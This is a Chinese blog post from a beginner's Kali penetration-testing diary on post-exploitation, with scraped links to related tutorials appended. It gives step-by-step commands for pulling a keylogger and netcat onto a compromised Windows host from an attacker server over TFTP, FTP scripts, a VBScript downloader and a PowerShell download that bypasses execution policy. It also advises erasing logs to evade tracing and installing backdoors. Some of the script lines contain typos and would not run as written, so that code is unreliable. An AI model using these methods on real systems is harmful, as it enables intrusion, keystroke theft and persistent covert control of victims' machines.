小白日记20:kali渗透测试之后渗透测试阶段(一)--上传工具

后渗透测试阶段--上传工具

为防止管理员将漏洞补上后,我们无法再通过该漏洞控制对方主机,所以需要进行后渗透测试阶段

1、上传各种工具

2、提权:为了全面控制目标系统

3、擦除攻击痕迹:防止管理员通过日志溯源追踪,发现攻击源头【除了系统日记,应用程序也会有自己的日志信息】

##删除系统日记和应用程序日记

例如:SLmail中

4、安装后门程序

实现长期控制,Dump密码,作为跳板进行内网渗透【大部分情况下,比公网渗透简单】

注:后渗透利用阶段

最大的挑战:防病毒软件【根据病毒特征库进行查杀】。所以我们需要使用合法的远程控制软件(NC)【尽量做到免杀,但也有可能在防病毒软件更新特征库后,被检测出来】

上传工具

目的:持久控制,扩大对目标系统的控制能力

Linux系统

linux系统下实现上传工具比较容易,因为其默认安装netcat、curl、wget,即使没有安装netcat,也可以轻易地使用curl和wget去黑客共享的服务器下载安装木马、netcat等【curl和wget一定会在linux系统下默认安装】

Windows系统

相对来说,windows系统下缺少预装工具,难以进行木马等工具的下载

getshell后,windows系统下载木门工具实例

http://www.freebuf.com/articles/network/100788.html

根据小白日记17,getshell【此为类NC远程控制shell,是一种非交互型的shell(即该命令行窗口下必须输入完整的命令,无法tab键补全)】

交互型shell与非交互型shell区别:http://kuku789123.blog.163.com/blog/static/1361673512012101513628599/

在windows系统下安装ftp软件,体验非交互型shell的坏处,添加/删除组件中【appwiz.cpl】【需插入光盘】

因此我们必须上传一些能提供交互型的木马程序【灰鸽子等】

上传工具姿势

1、使用TFTP传输文件【构造一个TFTP服务器,在服务器中放置工具木马等,再通过被控端连接下载】

XP、2003中默认安装,Win7、2008以后的系统需要单独添加,但经常被边界防火墙过滤。主流为FTP,是因为基于UDP协议,明文传输,不支持身份验证

利用kali

mkdir /tftp   #创建tftp目录

chown -R nobody 设置权限所有者为nobody【无本地登录权限】

cp /usr/share/windows-binaries/whoami.exe /tftp/       #windows下查看当前用户

cp /usr/share/windows-binaries/klogger.exe /tftp/       #拷贝键盘记录器

atftpd --daemon --port 69 /tftp/              #daemon,用后台方式启动,主目录指向tftp

由于权限问题,会出现以下这个常见问题【启动进程不是tftp】

需kill 543这个进程,使用chown -R nobody /tftp/   【将所有者改成nobody】

重启服务

进到shell窗口,查看tftp

进行tftp文件传输

tasklist  #查看进程

键盘记录器会记录管理员的输入,再同目录下会生成记录键盘输入的文本文件

type klogger

2、使用FTP传输

先在kali上apt-get install pure-ftpd

使用脚本配置【切记:设置的密码,下面echo会用到】

#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd yuanfh -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/                   #创建的ftp主目录
/etc/init.d/pure-ftpd restart

验证ftp

因为非交互系统中,ftp传输,在password命令处无法显示,所以需要通过转换思路进行下载

思路:【将要实现的命令写到目标服务器的文本文件中,用ftp读取文本文件的命令进行下载】

C:\>echo open 192.168.1.127 21>ftp.txt
echo open 192.168.1.127 21>ftp.txt

C:\>echo yuanfh>>ftp.txt
echo yuanfh>>ftp.txt

C:\>echo password>>ftp.txt
echo password>>ftp.txt

C:\>echo bin>>ftp.txt
echo bin>>ftp.txt

C:\>echo GET whoami.exe >> ftp.txt
echo GET whoami.exe >> ftp.txt

C:\>echo GET klogger.exe >> ftp.txt
echo GET klogger.exe >> ftp.txt

C:\>echo bye >> ftp.txt
echo bye >> ftp.txt

##先将whoami,klogger等程序拷贝到ftphome目录【cp /tftp/* /ftphome/】
ftp -s:ftp.txt

3、使用VBSCRIRT传输文件

#VBS是windows系统上默认的解释型脚本语言,在win7后增加了perl

##通过web程序,http协议下载远程控制程序,需在kali启动apache2

[email protected]:~# service apache2 start
[email protected]:~# netstat -pantu | grep :80
tcp6       0      0 :::80                   :::*                    LISTEN      4433/apache2      

进入apache2默认目录,拷贝文件

[email protected]:~# cd /var/www/html
[email protected]:/var/www/html# cp /ftphome/* .
[email protected]:/var/www/html# ls
index.html  klogger.exe  whoami.exe
[email protected]:/var/www/html#

粘贴以下命令到shell窗口

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXSEITTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXSEITTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXSEITTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXSEITTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Noting Then Set http = CreateObjiect("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Noting Then Set http = CreateObjiect("WinHttp.MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Noting Then Set http = CreateObjiect("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Noting >> wget.vbs
echo Set fs = CreateObject("Scrippting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Miidb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://192.168.1.127/whoami.exe w.exe

【windows系统自带的cscipt命令去下载whoami.exe 命名成w.exe,传输完成后,需重启一下目标系统】

4、使用POWERSHELL传输文件  【到目标服务器下载程序】

##需在windows系统下运行

$strongeDir = $pwd
$webclient = New-Object System.Net.WebClient
$url = "http://192.168.1.127/whoami.exe"
$file = "new-exsploit.exe"
$webclient DownloadFile($url,$file)

powershell.exe -ExecutionPolicy Bypass  -NoLogo -Nonlnteractive -Noprofile -File wget.ps1

5、使用DEBUG传输文件

Debug是一种汇编、反汇编的16进制dump工具,作为文件传输,默认情况下只能传输64k字节的数据

一、使用upx压缩文件进行压缩再进行传输

cp /usr/share/windows-binaries/nc.exe .   #拷贝nc到根目录

[email protected]:~# upx -9 nc.exe                          #-9:最高程度压缩
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     59392 ->     29184   49.14%    win32/pe     nc.exe                        

Packed 1 file.

二、将exe程序转化成16进制文本格式

wine /usr/share/windows-binaries/exe2bat.exe nc.exe nc.txt
将文本文件中的16进制代码(除倒数两行外)全部复制到shell窗口中

debug<123.hex      #生成1.dll

copy 1.dlll nc.exe

时间: 2024-08-05 07:51:36

小白日记20:kali渗透测试之后渗透测试阶段(一)--上传工具的相关文章

Kail Linux渗透测试教程之免杀Payload生成工具Veil

Kail Linux渗透测试教程之免杀Payload生成工具Veil 免杀Payload生成工具--Veil Kail Linux渗透测试教程之免杀Payload生成工具Veil,Veil是一款利用Metasploit框架生成相兼容的Payload工具,并且在大多数网络环境中能绕过常见的杀毒软件.本节将介绍Veil工具的安装及使用. 在Kali Linux中,默认没有安装Veil工具.这里首先安装Veil工具,执行如下所示的命令: root@kali :~# apt-get update &&am

Kail Linux渗透测试教程之网络扫描和嗅探工具Nmap

Kail Linux渗透测试教程之网络扫描和嗅探工具Nmap 网络扫描和嗅探工具--Nmap Nmap也就网络映射器(Network Mapper),是一个免费开放的网络扫描和嗅探工具.该工具可以扫描主机是否在线.所开放的端口号.提供的网络服务及操作系统类型等.本节将介绍Nmap工具的使用.在使用Nmap工具之前,首先需要了解它的几种扫描类型.Nmap主要的扫描类型如表4-1所示. 表4-1  Nmap扫描类型 [实例4-1]使用nmap工具扫描目标主机192.168.6.105的端口号.执行命

Android渗透测试Android渗透测试入门教程大学霸

Android渗透测试Android渗透测试入门教程大学霸 第1章  Android渗透测试 Android是一种基于Linux的自由及开放源代码的操作系统,主要用于移动设备,如智能手机.平板等.目前,大部分用户都使用的是Android系统的手机.所以,学习Android渗透测试是非常重要的.用户通过对自己的Android设备进行渗透测试,可以评估自己的系统是否安全,或者是否存在有漏洞等.本章将介绍Android渗透测试的基础知识本文选自Android渗透测试入门教程大学霸内部资料. 1.1  

kali linux 渗透测试视频教程 第五课 社会工程学工具集

第五课 社会工程学工具集 文/玄魂 教程地址:http://edu.51cto.com/course/course_id-1887.html   目录 第五课社会工程学工具集... 1 SET. 1 SET的社会工程学攻击方法... 1 鱼叉式钓鱼攻击(Spear-Phishing Attack )... 1 网站攻击(Website Attack)... 1 Java Applet Attack Method演示... 1 Credential Harvester Attack Method演

【渗透课程】第七篇-上传漏洞之绕过上传漏洞

前一篇我们已经讲过了上传漏洞的解析漏洞,在某些时候,知道网站存在哪个解析漏洞,那么我们就可以更好的利用上传漏洞 这个知识点在我们前面就有粗略说过了(http://www.yuntest.org/index.php/archives/765.html), http拦截也是上传漏洞的其中之一, 下面我们来对绕过上传漏洞进行更深的了解. 正文 管理员防止文件上传漏洞时可以分为两种,一种是客户端检测,一种是服务端检测: 客户端检测:使用JavaScript检测,在文件上传之前,就对文件进行验证 服务器端

【渗透课程】第八篇-上传漏洞之文本编辑器上传

Oday 常见的文本编辑器有CKEditor,Ewebeditor,UEditor,KindEditor,XHeditor等.其包含的功能类似,比如,图片上传.视频上传.远程下载等. 使用这类编辑器减少了程序开发的时间,但也存在通用性漏洞带来的危害 以FCKeditor(现已更名为CKEditor)为例,其存在如下漏洞 一.敏感信息暴露 1.1 查看版本信息 /FCKeditor/editor/dialog/fck_about.html 1.2 默认上传页面 /FCKeditor/editor/

【渗透课程】第六篇-上传漏洞之解析漏洞

上传漏洞,我们为什么要上传?因为我们说过.在网站服务器上 肯定有一个Web容器,它里面装的就是Web应用程序 .某些脚本具有一定的执行和修改权限.这些权限可以说是服务器给客户端访问时提供的服务的同时提供的, 提供服务越多, 存在漏洞的几率就越大. 如果我们上传了某个具有对系统进行操作性权限的文件(一句话木马,大马,bat,dll等),那对于我们接下去的攻击提供了很大的方便. 上面这些我就不多说了 ,之前也讲过了.回归正题, 我们这篇要说的是: 解析漏洞 在这里我先说一个知识点吧,相信很多人都听说

测试扩展(七)——javaweb文件上传逻辑

从request中获得上传的文件名 从request中获得对应的字节流getInputStream() 创建一个服务器端的文件输出流[带着服务端地址和文件名] 将[request中的字节流]输入到[服务器端的文件输出流] 关闭输入流[为了释放资源] 关闭输出流 升级:spring MultipartFile.transferTo 原文地址:https://www.cnblogs.com/dinglijun/p/10368806.html

黑客秘笈 渗透测试实用指南——互动出版网

这篇是计算机类的优质预售推荐>>>><黑客秘笈 渗透测试实用指南> 市面上最佳的渗透测试图书 美亚排名位居第一 通过模拟渗透测试的流程全讲解期间用到的各种工具和技术 编辑推荐 市场上口碑最佳的渗透测试图书,在美亚的测试图书领域排名第一,且好评如潮 全书以橄榄球的行话阐述渗透测试的战术,其内容如下所示. 赛前准备-安装:关于如何配置本书所用到的攻击机器.工具. 发球前-扫描网络:在出招之前,需要进行扫描,了解即将面对的环境.本章将深入探讨寻找目标信息.智能扫描的相关内容.